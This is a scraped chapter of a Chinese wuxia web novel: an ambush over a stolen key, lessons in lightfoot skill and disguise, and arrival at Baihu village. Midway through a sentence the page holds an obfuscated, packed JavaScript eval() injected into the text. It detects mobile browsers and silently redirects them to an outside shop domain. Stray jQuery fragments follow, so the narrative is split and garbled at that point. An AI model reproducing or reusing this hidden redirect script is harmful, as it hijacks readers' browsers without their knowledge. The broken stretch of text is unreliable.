文趣网 > 其他小说 > 天下第二竟是我自己 > 5. 围堵
    卯正,江越从一条死巷走出。今日头顶横插一支和田青白玉玉簪,簪身刻海水江崖纹,玉质温润,雕工精细。天色未明,白玉簪似龙山雪,泛着莹润光泽。

    江越转过巷角,看见雁观南靠着石壁对他招手。

    “江公子,大早上瞧你屋内没人,可把我心惊胆战的。你要是没了,我的药可上哪儿找去。”说着,雁观南往客栈走去。

    江越跟在后面,淡淡道:“从兴阳到安平,我们换成双驾马车。途中经过白虎村,在那儿换马,休息半日。现在去买些干粮,白面大饼什么的。”

    折向左首,来到主街。早点摊已烟火鼎沸,其余铺子皆未开门。一旁的朱漆匾额上,刻着“奇珍阁”三个金字。雁观南脑中画着地图,从这家奇珍阁后门穿出,就是江越所在的盲巷。

    在这次出远门前,雁观南去过的最远的地方是长泽郡。那日中秋,她和姊妹在城里玩乐。大哥提议去奇珍阁转转。三层楼阁,确有不少稀奇玩意儿。大哥问她们有什么中意的东西,她俩摇头。离开时,雁观南手中多了一柄匕首,妹妹抱着一只红紫撞色的酒瓶。

    当晚,姊妹俩讨论大哥想要什么物品。结论是奇珍阁的冰霜殼,由铁桦与樟子松制成的黑盒,能隔绝外界所有热源。把此物放在正午烈阳下,内部温度也不会波动分毫。有了冰霜殼,长途跋涉采回的极阴草药便能妥善安放。

    大哥不买的原因,自然是价格。两姐妹搜罗全身,凑足钱,在临走时将冰霜殼放在大哥床旁。

    念起昔日家人相伴的温暖,雁观南脚步放缓,笑颜舒展。

    江越赶上前来,二人并排走回客栈。

    日悬高空,两匹骏马并排奔腾。

    缰绳猛然一索,骏马前蹄凌空,长嘶一声。在江越不解的目光中,两匹马硬生生调转方向。还未及重新出发,树木簌簌狂响,数十人一齐从绿林中窜出。接着,一声哨响刺破天际,鸟儿翻腾着翅膀远去,另一条小路里奔来数十人。

    马车疾驰声中,雁观南察觉到前方有人埋伏。本想避开,但相距甚近未来得及。二十多人团团围住马车,拿着长刀缓缓靠近。

    雁观南揉揉眉骨,掩饰自己的兴奋。瞧见她嘴角上扬,江越偏过头,手里揉着膝盖骨,轻声道:“正面两侧的八人,我负责。你注意其他人。”

    只听雁观南道:“用你的袖箭吗?”

    带刀的一圈人停住脚步,看向马车后。

    雁观南手按剑柄,凝神静听。只见昨日被她点了睡穴的林家三人跟着一位男子走至正前方。

    长脸汉子道:“少爷,就是这丫头片子给我们仨使诈,让我们浪费一下午,不能为您效劳。”

    林少爷招呼昨日为首之人:“林永,把那叠画像拿来。”

    林永恭敬递去,见他家少爷翻一张画像,看一眼那俩人。骤然,林少爷死盯某一张,道:“男的活捉,女的杀了。”

    话还未完,一串袖箭射出。两侧人看不清江越手上动作,大腿纷纷中箭,倒地难起。

    雁观南右手从背后抓住江越衣领脖颈往下一按,躲过从马车三方刺入的亮闪闪长刀,左手用力击打马屁股。两马吃痛向前奔去。一些跟班随从慌乱四散。一瞬之间,雁观南剑已出鞘,架在林少爷的脖子上,并抓着林少爷移到旁处,给往前冲的马留了前方道路。那三人又被点了穴位,动弹不得。至于雁观南何时出剑,在场无人看清。主子被刀架着,手下无人去追江越。

    林少爷大气不敢喘。在赶去安平的路上,看见趟地上的林永三人。听清来龙去脉后,他当即决定进行埋伏,威武一番,为自己丢了钥匙一事找回些面子。在看见雁观南二人后,他心中狂喜,心想猜对了她们的路线。在发现江越就是自己宴席上的乐师后,他心中狂喜,心想自己找到了偷钥匙的人,能一雪前耻。

    谁料还没交战,就叫雁观南剑刃横在颈侧。在众多手下面前,他不敢表现地过于害怕,偷偷咽了口水,道:“那个小偷已经跑了,你动作快,我们追不上。你把我放了吧。”

    雁观南把剑往后一送,冰凉刺骨使得林少爷倒抽凉气。

    “你们无缘无故就要抓人杀人,我只是自保。”雁观南目光射向前方众人,对林少爷道:“你如何知道他偷了一把钥匙?这钥匙一直都是你的吗?”

    林少爷向下瞥着白刃,颤声道:“脸虽然不像,但身形与在府里住了半月有余的乐师一样。钥匙不见后,这位乐师也不见人了。至于钥匙,我母亲给我的,当然是我的。”

    雁观南道:“这钥匙,开的是何物?”

    林少爷声音细若蚊蚋,道:“我,我不知道。我母亲还没告诉我。”

    却听林永陡然大声喊道:“少爷,又是一个觊觎钥匙的人,你可千万不要告诉她!”

    正此时,江越勒马返回。雁观南心下一叹,没有点那三人的哑穴。她道:“你们把刀扔地上,站在原处不动。”

    叮叮当当一阵乱响,数把长刀纷纷落地。江越见此,道:“我去点穴吧。”

    雁观南疾手给林少爷点下全身大穴,前去给余下人点穴。

    一个细长汉子眼里闪过狡黠,从地上拿起长刀,向江越背后砍去。江越内力所剩无几,身法却是迅捷。长刀仍远离后背时,已转身给那男子点下穴位。

    雁观南瞧见此景,心中生出一丝疑惑。是他们太慢,还是自己太快?对于自身武功剑法,在过往的十二年里,她没有一个适合的参考。哥哥妹妹心不在此处,对于师傅所传的剑法只是熟悉。至于轻功步法,师傅督促三人勤修苦练。三人中,她的内力最为深厚,轻功更胜,自是理所当然。

    江越已经完事,钻入车内。雁观南抛掉疑虑,心想:“多见江湖中人,多与高手切磋,自身水平如何自然一清二楚,修为定能随之精进。”

    江越递来一张白面饼,温声道:“师傅,这会儿不急赶路。你吃完东西后,择个时间传授徒儿轻功步法如何?”

    雁观南目视前方,拿过大饼慢吞吞咀嚼,心想:“真要教他轻功?”随即道:“你怎么改了主意肯叫我师傅?学武要心诚,心不诚学不扎实。”

    江越言辞恳切:“惜命呀。师傅的轻功很是高明,逃跑定是次次都能脱身。再说,师傅的步法我从未见过,很是有趣。”

    雁观南轻蹙眉头:“你不要喊我师父,瘆人得慌。”说着,施展轻功,随林中微风稳稳飘到一段粗木枝上。不待木身回弹,右脚尖轻然一点,如水中涟漪,荡到数丈之外。

    江越见其不急不迫,玩乐似的表演给自己看就已是踏雪无痕,履水无迹的地步。又瞧她步法灵动自然,又带些出手时的猛劲,这必与她所习剑法相关。回想自己见过的各宗各派的武功,竟找不到与其有相似之处的门派。他还未见过雁观南使剑。但只凭其轻功之卓越,在江湖年

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570135|204897||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    轻一辈里定是翘楚。他从南到北,从东到西地回忆名门大派,世外高人,独行侠客或是三教九流,试图找到雁观南出自何处。

    几日相处下来,雁观南的年级约莫比自己小一两岁。这个年纪能练到如此地步,除了天赋,更是根基深厚打得早。十多年前发生了何事?或许,某些江湖名宿并未消失过。想到这个时间节点,一阵悲痛涌上心来,江越 思忖中,雁观南已悄无声息坐在车辕处。

    “怎么样,跟我学不?”雁观南看向远处,淡淡道。

    “我一月内,是学不会你的步法。我们的赌约就变成你能否学会易容之术。迫于条件,只能口授。”江越拉过缰绳,止住马,“你坐后面听学吧。”

    雁观南笑道:“马车学堂,挺有意思。马夫先生,更是奇特。”

    江越顿时装模作样,拿腔拿调:“易容之术有三重:下乘换皮,中乘易骨,上乘破心。江湖易容,首在人皮......”

    六日后。

    一块巨石立在村口,刻着“白虎村”三字,银钩铁划,刚劲有力。白虎村靠近几条官道大路的汇合处。故往来商旅游士多在此处整顿停歇。有人的地方,就有生意。白虎村里有客栈酒店,马行车铺。麻雀虽小,五脏俱全。

    雁观南二人行至此处,欲休息半日。

    村口处,一老媪守着几块簸箕。冬去春来,为防止粮食受潮发霉,需趁晴天进行晾晒。

    雁观南二人下马,紧拉缰绳缓步而行。老媪先行招呼二人:“小友吃饭还是住店,里面都有。”

    雁观南回以微笑:“谢谢老婆婆,我们进去看看。”

    设在外面的食铺里,有零星几人吃饭。路旁有几间屋舍,谈不上陈旧,但蛛丝密布,应有几月都未曾住人。

    再往前走一段,多了几分烟火气。客栈大门敞开,几人在食桌上交谈甚欢;马厩里六匹马正困倦,伙计正一一给它们酒准备吃食;酒肆里有人醉醺醺地划拳,喊着“再喝一杯”。

    行至马行,大门紧闭。对面屋里里跑出一个伙计,向二人道:“两位,换马吗?这家车行老板不在,我们店里倒是有两匹好马。”

    雁观南看见伙计身后的牌坊“好运客栈,道:“这位小哥,还有吃食吗?可否为我二人准备一桌?”

    伙计上来牵马,点头道:“有的有的。二位请进。”

    江越上前道:“村子里还有其它车行吗?我们还需添置一些东西。”

    伙计道:“原本我们村有三家车铺,关了两家,还剩一家。好巧不巧,那家老板昨日进城去了,一时半会儿回不来。你们若想换马,只有找村民或是做生意的老板。”

    听此,雁观南把缰绳交给伙计,对江越点头示意道:“我们先在此吃饭。”

    一桌人正好要离开,掌柜送她们到门口,恳切道:“现在天还大亮,几位抓紧赶路,莫要磨蹭。”见到雁观南两人后,忙嘱咐伙计:“陈二,去楼上把房间收拾干净。”又热情招呼雁观南二人:“姑娘公子先要吃些什么?热锅现做,保二位满意。”

    在路上连续奔波几日后,两人胃口均大增,点了满满一桌菜。老板先上了一壶烧酒和一壶热茶,带着歉意到:“今日事情有些多,店里人手不够。我马上去后厨准备。二位多等一下,还请见谅。”

    老板一语未了,只听后院有人喊道:“娘!我和小弟上次做的弓箭放在哪里了?”